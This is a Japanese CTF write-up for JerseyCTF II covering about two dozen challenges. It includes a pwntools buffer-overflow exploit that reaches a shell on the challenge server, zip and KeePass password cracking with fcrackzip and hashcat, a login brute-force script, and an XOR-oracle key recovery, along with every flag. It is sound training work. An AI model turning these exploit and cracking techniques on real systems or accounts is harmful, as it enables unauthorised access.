JerseyCTF II Writeup

この大会は2022/4/10 1:00(JST)~2022/4/11 1:00(JST)に開催されました。
今回もチームで参戦。結果は 4045点で501チーム中80位でした。
自分で解けた問題をWriteupとして書いておきます。

njccic (sponker 20)

Notificationsでフラグが共有された。

jctf{pr0t3ct_NJ_cyb3r_sp@C3}

frsecure (sponker 20)

Notificationsでフラグが共有された。

jctf{inf0rmation_SECURITY_#1}

google (sponker 20)

Notificationsでフラグが共有された。

jctf{z3r0_trust_infr@structure}

palo alto networks (sponker 20)

Notificationsでフラグが共有された。

jctf{gl0b@l_cyb3rSECurity_l3@der}

crowdstrike (sponker 20)

Notificationsでフラグが共有された。

jctf{br3aches_stop_HERE!}

we-will (misc 150)

添付のzipファイルはパスワードがかかっているので、クラックする。

$ fcrackzip -u -D -p dict/rockyou.txt flag.zip


PASSWORD FOUND!!!!: pw == *@@!^^$25Jjersey

このパスワードでzipを解凍すると、展開されたflag.txtにフラグが書いてあった。

jctf{y0u_r0ck3d_17}

filtered-feeders (misc 150)

Stegsolveで開き、Red plane 1などを見ると、フラグが現れた。
f:id:satou-y:20220415073201p:plain

jctf{1_l0v3_h3rr1n65}

bank-clients (misc 250)

hashcatでクラックする。

$ keepass2john clients.kdbx | grep -o "$keepass$.*" > hash.txt
>hashcat -m 13400 -a 3 hash.txt ?d?d?d?d
hashcat (v6.2.4) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 974 MB

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$keepass$*2*9090908*0*f7d1170d7371a17281aa3f2a26c7388ca5725c21fcbc29d2ace56292eff8eb79*da67f7ac407dca58cbdf4470f411f0f816b93e09e691cc4fbe0d9ce4acaa28c0*706a344c94d1eb4d7e356d67c6b3189b*ef40e4466434309c67248c2ad1e6bb0d4319447268f862c53a196e4ca12e29a0*7ff7758edbc9b8cde051228494e36af1edd750edc398e84422268956dc942876:7182

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*9090908*0*f7d1170d7371a17281aa3f2a26c73...942876
Time.Started.....: Sun Apr 10 22:18:32 2022 (1 hour, 31 mins)
Time.Estimated...: Sun Apr 10 23:50:08 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        1 H/s (0.32ms) @ Accel:32 Loops:16 Thr:16 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 7296/10000 (72.96%)
Rejected.........: 0/7296 (0.00%)
Restore.Point....: 384/1000 (38.40%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:9090896-9090908
Candidate.Engine.: Device Generator
Candidates.#1....: 7072 -> 7360

Started: Sun Apr 10 22:18:29 2022
Stopped: Sun Apr 10 23:50:09 2022

passwordは7182。KeePassでこのパスワード7182を使って開く。
f:id:satou-y:20220415073356p:plain
TitleがflagのUser Nameにフラグが設定されていた。

jctf{R1ch_p3rson_#4}

dns-joke (osint 100)

$ dig www.jerseyctf.com txt

; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> www.jerseyctf.com txt
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31200
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;www.jerseyctf.com.		IN	TXT

;; ANSWER SECTION:
www.jerseyctf.com.	5	IN	TXT	"jctf{DNS_J0k3s_t@k3_24_hrs}"

;; Query time: 109 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Sun Apr 10 14:23:53 JST 2022
;; MSG SIZE  rcvd: 86
jctf{DNS_J0k3s_t@k3_24_hrs}

misdirection (bin 250)

$ gdb -q ./misdirection
Reading symbols from ./misdirection...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x55555555464a (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RDX: 0x7fffffffdee8 --> 0x7fffffffe242 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffded8 --> 0x7fffffffe224 ("/mnt/hgfs/Shared/misdirection")
RDI: 0x1 
RBP: 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RIP: 0x55555555464e (<main+4>:	sub    rsp,0x10)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554540 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554645 <frame_dummy+5>:	jmp    0x5555555545b0 <register_tm_clones>
   0x55555555464a <main>:	push   rbp
   0x55555555464b <main+1>:	mov    rbp,rsp
=> 0x55555555464e <main+4>:	sub    rsp,0x10
   0x555555554652 <main+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x555555554659 <main+15>:	jmp    0x555555554693 <main+73>
   0x55555555465b <main+17>:	mov    eax,DWORD PTR [rbp-0x4]
   0x55555555465e <main+20>:	movsxd rdx,eax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0016| 0x7fffffffde00 --> 0x1 
0024| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe224 ("/mnt/hgfs/Shared/misdirection")
0032| 0x7fffffffde10 --> 0x100008000 
0040| 0x7fffffffde18 --> 0x55555555464a (<main>:	push   rbp)
0048| 0x7fffffffde20 --> 0x0 
0056| 0x7fffffffde28 --> 0xc4b217e8e17cbc80 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000055555555464e in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000055555555464a <+0>:	push   rbp
   0x000055555555464b <+1>:	mov    rbp,rsp
=> 0x000055555555464e <+4>:	sub    rsp,0x10
   0x0000555555554652 <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000555555554659 <+15>:	jmp    0x555555554693 <main+73>
   0x000055555555465b <+17>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555465e <+20>:	movsxd rdx,eax
   0x0000555555554661 <+23>:	lea    rax,[rip+0x2009b8]        # 0x555555755020 <buf1>
   0x0000555555554668 <+30>:	movzx  ecx,BYTE PTR [rdx+rax*1]
   0x000055555555466c <+34>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555466f <+37>:	movsxd rdx,eax
   0x0000555555554672 <+40>:	lea    rax,[rip+0x2009e7]        # 0x555555755060 <buf2>
   0x0000555555554679 <+47>:	movzx  eax,BYTE PTR [rdx+rax*1]
   0x000055555555467d <+51>:	xor    ecx,eax
   0x000055555555467f <+53>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000555555554682 <+56>:	movsxd rdx,eax
   0x0000555555554685 <+59>:	lea    rax,[rip+0x200994]        # 0x555555755020 <buf1>
   0x000055555555468c <+66>:	mov    BYTE PTR [rdx+rax*1],cl
   0x000055555555468f <+69>:	add    DWORD PTR [rbp-0x4],0x1
   0x0000555555554693 <+73>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000555555554696 <+76>:	cmp    eax,0x24
   0x0000555555554699 <+79>:	jbe    0x55555555465b <main+17>
   0x000055555555469b <+81>:	mov    edx,0x25
   0x00005555555546a0 <+86>:	lea    rsi,[rip+0x200979]        # 0x555555755020 <buf1>
   0x00005555555546a7 <+93>:	mov    edi,0x5
   0x00005555555546ac <+98>:	call   0x555555554520 <write@plt>
   0x00005555555546b1 <+103>:	mov    eax,0x0
   0x00005555555546b6 <+108>:	leave  
   0x00005555555546b7 <+109>:	ret    
End of assembler dump.

write関数コール時のbuf1を確認してみる。

gdb-peda$ b *0x00005555555546ac
Breakpoint 2 at 0x5555555546ac
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x25 ('%')
RBX: 0x0 
RCX: 0xa ('\n')
RDX: 0x25 ('%')
RSI: 0x555555755020 ("jctf{l00k5_1iK3_u_f0Und_m3_018a09d6}\n")
RDI: 0x5 
RBP: 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdde0 --> 0x7fffffffded0 --> 0x1 
RIP: 0x5555555546ac (<main+98>:	call   0x555555554520 <write@plt>)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554540 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555469b <main+81>:	mov    edx,0x25
   0x5555555546a0 <main+86>:	lea    rsi,[rip+0x200979]        # 0x555555755020 <buf1>
   0x5555555546a7 <main+93>:	mov    edi,0x5
=> 0x5555555546ac <main+98>:	call   0x555555554520 <write@plt>
   0x5555555546b1 <main+103>:	mov    eax,0x0
   0x5555555546b6 <main+108>:	leave  
   0x5555555546b7 <main+109>:	ret    
   0x5555555546b8:	nop    DWORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x5 
arg[1]: 0x555555755020 ("jctf{l00k5_1iK3_u_f0Und_m3_018a09d6}\n")
arg[2]: 0x25 ('%')
arg[3]: 0xa ('\n')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdde0 --> 0x7fffffffded0 --> 0x1 
0008| 0x7fffffffdde8 --> 0x2500000000 ('')
0016| 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
0024| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0032| 0x7fffffffde00 --> 0x1 
0040| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe224 ("/mnt/hgfs/Shared/misdirection")
0048| 0x7fffffffde10 --> 0x100008000 
0056| 0x7fffffffde18 --> 0x55555555464a (<main>:	push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00005555555546ac in main ()
jctf{l00k5_1iK3_u_f0Und_m3_018a09d6}

going-over (bin 350)

$ file going-over 
going-over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0a49d5cbc3620c138c8a8ba0be27e82145345ad3, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./going-over
Reading symbols from ./going-over...(no debugging symbols found)...done.
gdb-peda$ pattc 32
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;A'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/going-over 
We thought it was a good idea to go white-water rafting...
but now we're about to go over a waterfall!!
HELP!!!!!
The map said there was a ledge nearby that we could escape to but I can't find it!!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;A
Let's try this AAA%AAsAABAA$AAnAACAA-AA(AADAA;A and hope it works D:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7fffffffb740 ("Let's try this AAA%AAsAABAA$AAnAACAA-AA(AADAA;A and hope it works D:\n")
RDI: 0x1 
RBP: 0x414341416e414124 ('$AAnAACA')
RSP: 0x7fffffffddf8 ("A-AA(AADAA;A")
RIP: 0x4012a8 (<main+197>:	ret)
R8 : 0x45 ('E')
R9 : 0x20 (' ')
R10: 0xffffffe0 
R11: 0x246 
R12: 0x4010d0 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40129d <main+186>:	call   0x401090 <printf@plt>
   0x4012a2 <main+191>:	mov    eax,0x0
   0x4012a7 <main+196>:	leave  
=> 0x4012a8 <main+197>:	ret    
   0x4012a9:	nop    DWORD PTR [rax+0x0]
   0x4012b0 <__libc_csu_init>:	endbr64 
   0x4012b4 <__libc_csu_init+4>:	push   r15
   0x4012b6 <__libc_csu_init+6>:	lea    r15,[rip+0x2b53]        # 0x403e10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 ("A-AA(AADAA;A")
0008| 0x7fffffffde00 --> 0x413b4141 ('AA;A')
0016| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe228 ("/mnt/hgfs/Shared/going-over")
0024| 0x7fffffffde10 --> 0x100008000 
0032| 0x7fffffffde18 --> 0x4011e3 (<main>:	endbr64)
0040| 0x7fffffffde20 --> 0x0 
0048| 0x7fffffffde28 --> 0x43c55b1963ef98ce 
0056| 0x7fffffffde30 --> 0x4010d0 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012a8 in main ()
gdb-peda$ patto A-AA(AADAA;A
A-AA(AADAA;A found at offset: 20

BOFで任意の20バイトの後に、grab_ledge関数のアドレスを指定すれば、この関数をコールできる。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 10197)
else:
    p = process('./going-over')

elf = ELF('./going-over')

grab_ledge_addr = elf.symbols['grab_ledge']

payload = b'A' * 20
payload += p64(grab_ledge_addr)

data = p.recvuntil(b'it!!!\n').rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 10197: Done
[*] '/mnt/hgfs/Shared/going-over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
We thought it was a good idea to go white-water rafting...
but now we're about to go over a waterfall!!
HELP!!!!!
The map said there was a ledge nearby that we could escape to but I can't find it!!!
b'AAAAAAAAAAAAAAAAAAAA\xb6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
Let's try this AAAAAAAAAAAAAAAAAAAA\xb6\x11 and hope it works D:
ayy we made it
$ ls
bin
flag.txt
going-over
ynetd
$ cat flag.txt
jctf{ph3w_ju57_1n_71m3}
jctf{ph3w_ju57_1n_71m3}

apache-logs (web 100)

HTTPステータスコードが200になっているものから怪しいログを探す。

163.112.88.13 - - [28/Dec/2021:17:28:48 -0500] "GET /wp-content HTTP/1.0" 200 5011 "https://jerseyctf.com/robots.txt" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/40.0.884.0 Safari/536.2"
25.175.40.142 - - [28/Dec/2021:17:37:42 -0500] "GET /search/tag/list HTTP/1.0" 200 4974 "http://www.lee-ferguson.biz/tmp/birthday.png" "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_12_8; rv:1.9.2.20) Gecko/2015-09-29 10:23:08 Firefox/3.6.20"
76.190.52.148 - - [28/Dec/2021:21:02:26 -0500] "GET /posts/posts/explore HTTP/1.0" 200 4973 "https://www.davisbank.com/tmp/bankrecords.pdf" "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/3.0)"

/posts/posts/exploreへのアクセスが怪しい。

jctf{76.190.52.148}

seigwards-secrets (web 100)

HTMLソースを見ると、login.jsへのリンクがある。login.jsには以下のように書いてある。

function checkCreds(usr, pass){

    if(usr.includes("admin")){
        if(btoa(pass) === "amN0ZnsxTV9zMF8xTV81b19EeW40TWl0M18wOTI0Nzh9"){
            alert("My Secrets: 1. I count in my sleep, 2. I hav")
        }
        else{
            alert("nice try Derrick")   
        }
    }
    else{
         alert("You fool!")   
    }

}

function login(){
    usr = document.getElementById('form3Example3').value
    pass = document.getElementById('form3Example4').value
    checkCreds(usr,pass)
}

base64エンコードした文字列と比較しているので、デコードする。

$ echo amN0ZnsxTV9zMF8xTV81b19EeW40TWl0M18wOTI0Nzh9 | base64 -d
jctf{1M_s0_1M_5o_Dyn4Mit3_092478}
jctf{1M_s0_1M_5o_Dyn4Mit3_092478}

heres-my-password (web 250)

passwordはわかっているので、usernameのブルートフォースでログインする。

#!/usr/bin/env python3
import requests

password = 'lightswitchon_and_offLOL26'
url = 'http://www.jerseyctf.online/'

with open('users.txt', 'r') as f:
    usernames = f.read().splitlines()

for username in usernames:
    payload = {"username": username, "password": password, "submit": "Login"}
    r = requests.post(url, data=payload)
    if 'Invalid login' not in r.text:
        print(r.text)
        break

実行結果は以下の通り。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Login</title>
</head>

<body>
    <h1>Login</h1>
    <form action="" method="post">
        <label>Username
            <input type="text" name="username">
        </label>
        <br>
        <label>Password
            <input type="password" name="password">
        </label>
        <br>
        <input type="submit" value="Login" name="submit">
    </form>
    <a href="forgot_password.php">Forgot Password?</a>
                <script>
                alert("jctf{c0NGR@T2_y0U_p@22wORd_SPR@y3D!}");
            </script>
        </body>

</html>
jctf{c0NGR@T2_y0U_p@22wORd_SPR@y3D!}

stolen-data (forensics 150)

$ binwalk stolen_data.pcap 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
491169        0x77EA1         HTML document header
491340        0x77F4C         HTML document footer
519415        0x7ECF7         HTML document header
520717        0x7F20D         HTML document footer
995630        0xF312E         PDF document, version: "1.3"
1111900       0x10F75C        HTML document header
1112046       0x10F7EE        HTML document footer
1591421       0x18487D        HTML document header
1591592       0x184928        HTML document footer
1611432       0x1896A8        HTML document header
1612734       0x189BBE        HTML document footer
1714951       0x1A2B07        HTML document header
1715122       0x1A2BB2        HTML document footer
2179382       0x214136        HTML document header
2180684       0x21464C        HTML document footer
2762317       0x2A264D        HTML document header
2763619       0x2A2B63        HTML document footer

PDFが含まれているらしい。パケットの検索で"PDF"を検索する。No.3032、3035のパケットでPDFが流れていることがわかるので、エクスポートし、結合する。

$ cat 3032.bin 3035.bin > flag.pdf

PDFを開くと、フラグが書かれていた。

jctf{0v3r_7h3_w1r3}

speedy-at-midi (forensics 150)

midをMusic Studio Producerで開き、「Hidden Message」のピアノロールを見ると、フラグが現れた。
f:id:satou-y:20220415074542p:plain

jctf{kicking_it_since_1983}

data-backup (forensics 250)

バイナリエディタで見ると、zipが壊れたようなファイルになっている。先頭4バイトを修正する。

4a 43 54 46 -> 50 4b 03 04

修正したzipファイルを解凍すると、展開されたflag.pdfにフラグが書いてあった。

jctf{fun_w17h_m461c_by735}

corrupted-file (forensics 400)

jpgのヘッダが欠けているので、ヘッダ FF D8 FF E0 を追加する。修正した画像にフラグが書いてあった。
f:id:satou-y:20220415074743j:plain

jctf{OaZdSdMo8F}

salad (crypto 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 17:
jctf{yummy_salad_dressing}
jctf{yummy_salad_dressing}

new-algorithm (crypto 75)

base64デコードする。

$ echo amN0Znt0UllfQUVTX0lOc1QzQGR9 | base64 -d
jctf{tRY_AES_INsT3@d}
jctf{tRY_AES_INsT3@d}

xoracle (crypto 150)

$ nc 0.cloud.chals.io 19305
Welcome to my SUPER secure encryption service!
To show you just how secure my service is, I'm gonna GIVE you the encrypted version of my flag.
Why? Because I'm CONFIDENT you can't decrypt it.
Here it is: b'09d3434f11392af6dd7457fadbdc36cab48cfe1b43aa58760a349eb771ad40e3ad4437153fb6'

Now that you've been ensured that my service is SECURE, you should give it a try!
Give me some data:
1234
Here it is: b'7184'
Give me some data:
7184
Here it is: b'1234'
Give me some data:

XORになっているようなので、提示された16進数文字列と同じ長さのデータで暗号化を試し、鍵を割り出し復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 19305))

data = recvuntil(s, b'it.\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(eval(data.split(' ')[-1]).decode())

pt = b'a' * len(enc_flag)
h_pt = pt.hex()
data = recvuntil(s, b':\n').rstrip()
print(data)
print(h_pt)
s.sendall(h_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
h_ct = eval(data.split(' ')[-1]).decode()
ct = bytes.fromhex(h_ct)

key = strxor(pt, ct)
flag = strxor(key, enc_flag).decode()
print(flag)

実行結果は以下の通り。

Welcome to my SUPER secure encryption service!
To show you just how secure my service is, I'm gonna GIVE you the encrypted version of my flag.
Why? Because I'm CONFIDENT you can't decrypt it.
Here it is: b'260a5a612a59ae968a969bd7d72fdfadc88145b06c45869ff069180b5b76b8bb98e46a20b942'

Now that you've been ensured that my service is SECURE, you should give it a try!
Give me some data:
6161616161616161616161616161616161616161616161616161616161616161616161616161
Here it is: b'2d084f663009908383c7af8fde1ae1fdddbf53e5387bd2cdd27d0b0f6576e9ed9bbd6a71e95e'
jctf{1_th0U9hT_1t_w45_53Cure_a07b8a01}
jctf{1_th0U9hT_1t_w45_53Cure_a07b8a01}

secret-message (crypto 200)

secret_key.txtにはbase64文字列らしきものが書いてあるので、base64デコードする。

$ echo WWxoc3B6YXBqaHNzZiwgZnZiIGR2dSdhIHpsbCBhb3B6IHB1IHlsaHMtZHZ5c2sganlmd2F2bnlod29mLiBEbCd5bCBqdnNzbG5sIHphYmtsdWF6IG9oY3B1biBoIG52dmsgYXB0bCwgenYgcmxsdyBudnB1biBwbSBmdmIgZGh1YSBhb2wgbXNobiEgQW9sIHdoenp3b3loemwgcHogdGh1am9semFseV9idXBhbGtfMjAyMg== | base64 -d
Ylhspzapjhssf, fvb dvu'a zll aopz pu ylhs-dvysk jyfwavnyhwof. Dl'yl jvsslnl zabkluaz ohcpun h nvvk aptl, zv rllw nvpun pm fvb dhua aol mshn! Aol whzzwoyhzl pz thujolzaly_bupalk_2022

Vigere暗号。https://www.dcode.fr/vigenere-cipherで復号する。

Realistically, you won't see this in real-world cryptography. We're college students having a good time, so keep going if you want the flag! The passphrase is manchester_united_2022

パスフレーズを"manchester_united_2022"として、jpgファイルからsteghideで隠されたデータを抽出する。

$ steghide extract -sf Photo.jpg -p manchester_united_2022
wrote extracted data to "secret_message.txt".
$ cat secret_message.txt 
Amazing you were able to crack the code.  Flag: jctf{QbxVLJrIbP}
jctf{QbxVLJrIbP}

hidden-in-plain-sight (crypto 350)

コードの最下部のコメントを踏まえると、base64エンコード前の鍵の長さは32、ivは16。暗号化処理の概要は以下の通り。

・encrypted_data: malware_codeをパディングして、AES-CBC暗号化
・encrypted_data: encrypted_dataをbase64エンコード
・encrypted_data: ivをbase64エンコードしたIVを結合
・1000回以下の処理を実行(暗号処理と関係ない)
 ・RANDOMIZER_temp = RANDOMIZER_2 ^ RANDOMIZER_3
 ・RANDOMIZER = RANDOMIZER_temp & 1111
 ・RANDOMIZER = RANDOMIZER * 88
・encrypted_data: base64エンコードしたkeyを結合
・encrypted_dta: RANDOMIZERを文字列を設定(暗号処理と関係ない)
・encrypted_data出力

以上を元に復号する。

#!/usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('encrypted.pco', 'r') as f:
    encrypted_data = f.read()

KEY = encrypted_data[-44:]
IV = encrypted_data[-44-24:-44]
ENC = encrypted_data[:-44-24]

cipher = AES.new(b64decode(KEY), AES.MODE_CBC, b64decode(IV))
malware_code = unpad(cipher.decrypt(b64decode(ENC)), AES.block_size).decode()
print(malware_code)

復号結果は以下の通り。

jctf{k3ys_hId3_wh3r3_y0u_l3@sT_3xpeCT_Th3m}

This key goes to show you that sometimes keys are right in front
of you. Hiding in plain sight.
jctf{k3ys_hId3_wh3r3_y0u_l3@sT_3xpeCT_Th3m}

file-zip-cracker (crypto 450)

zipのパスワードがActor名と年の結合したパスワードになっているので、添付のテンプレートコードを参考にブルートフォースで解除する。

#!/usr/bin/env python3
import zipfile
import itertools
from itertools import permutations


# Function for extracting zip files to test if the password works!
def extractFile(zip_file, password):
    try:
        zip_file.extractall(pwd=password.encode())
        return True
    except KeyboardInterrupt:
        exit(0)
    except Exception as e:
        pass

# Main code starts here...
# The file name of the zip file.
zipfilename = 'secret_folder.zip'
numbers_set = '1920345678'

zip_file = zipfile.ZipFile(zipfilename)

with open('actorList.txt', 'r') as f:
    actors = f.read().splitlines()

for c in itertools.product(numbers_set, repeat=4):
    # Add the four numbers to the first half of the password.
    for actor in actors:
        password = actor + ''.join(c)
        # Try to extract the file.
        print("Trying: %s" % password)
        # If the file was extracted, you found the right password.
        if extractFile(zip_file, password):
            print('*' * 20)
            print('Password found: %s' % password)
            print('Files extracted...')
            exit(0)

# If no password was found by the end, let us know!
print('Password not found.')

実行結果は以下の通り。

     :
Trying: DeAndre_Way2016
Trying: Tom_Welling2016
Trying: Peter_Wentz2016
Trying: Dominic_West2016
Trying: Shane_West2016
Trying: Pharrell_Williams2016
Trying: Robbie_Williams2016
Trying: Bruce_Willis2016
Trying: Andreas_Wilson2016
Trying: Jamie_Wise2016
Trying: Ronnie_Woo2016
Trying: Elijah_Wood2016
Trying: Christian_Yanik2016
Trying: Will_Young2016
Trying: Nick_Youngquest2016
Trying: Billy_Zane2016
Trying: Kevin_Zegers2016
Trying: Rob_Zombie2016
Trying: Jensen_Ackles2017
Trying: Johnny_Depp2017
********************
Password found: Johnny_Depp2017
Files extracted...

パスワードがかかっているzipファイルと、txtが展開される。txtには以下のように書いてある。

Encoded Message:

Gur pbqr gb haybpx gur mvc svyr vf: v'ir_tbg_n_wne_bs_qveg_naq_thrff_jung'f_vafvqr_vg

quipqiupで復号する。

The code to unlock the zip file is: i've_got_a_jar_of_dirt_and_guess_what's_inside_it

パスワード"i've_got_a_jar_of_dirt_and_guess_what's_inside_it"でzipファイルを解凍すると、Flag.mp3が展開される。

$ file Flag.mp3 
Flag.mp3: GIF image data, version 89a, 498 x 249

実体はgifで、画像にフラグが書いてあった。
f:id:satou-y:20220415075539g:plain

jctf{ew8WhHuhmv}